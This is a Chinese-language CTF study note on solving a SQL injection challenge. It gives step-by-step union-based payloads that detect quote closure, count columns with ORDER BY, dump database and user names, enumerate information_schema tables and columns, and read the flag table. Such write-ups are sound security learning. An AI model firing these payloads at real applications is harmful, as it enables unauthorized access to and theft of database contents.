SQL注入题
一,基本操作点
1,验证查询
a,输入一个正常查询,观察正常查询界面
b,输入一个错误查询,观察错误查询界面
2,检查注入类型(判断sql语句闭合方式)
a,加上`'`时,界面无回显,可以判断后端的sql语句应该是
select xxxx from xxxx where id = 'input_id' [xxxx]
select xxxx from xxxx where id = ('input_id') [xxxx]
常用的闭合方式还用`id = "input_id"`,`id = ("input_id")`,`id = ('input_id')`等等
在`id = 1'`的值后面加上注释符`#`之后发现界面正常显示,所以可以断定sql语句的形式是`id = 'input_id'`。
3, 判断列数
可以使用`order by`子句判断返回的列数。当构造`post`参数中的`order by`为`5`时,界面无回显、值为`4`时有回显。所以后端返回的列数应该是`4`。
id=1' order by 5 #
4,判断后端返回的前端显示的格式
id=-1' union select 1,2,3,4 #
<img src="https://img-blog.csdn.net/20181010155848361?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2h1YW5naGVsb3V6aQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" alt="img" style="zoom: 33%;" />
5 union select
id=-1' union select 1,database(),user(),version() #
id=-2' union select 1,2,3,(select group_concat(table_name) from information_schema.**tables** where table_schema=database())# //查询当前数据库的全部**表**名
// group_concat(): 例如select id, group_concat(price separator ';') from goods group by id; 所有同id的price在一个单元格显示
id=-2' union select 1,2,3,(select group_concat(column_name) from information_schema.**columns** where table_name='fl4g')# //查询指定表的**列**
id=-2' union select 1,2,3,(select skctf_flag from fl4g) *#* 查指定列的所有数据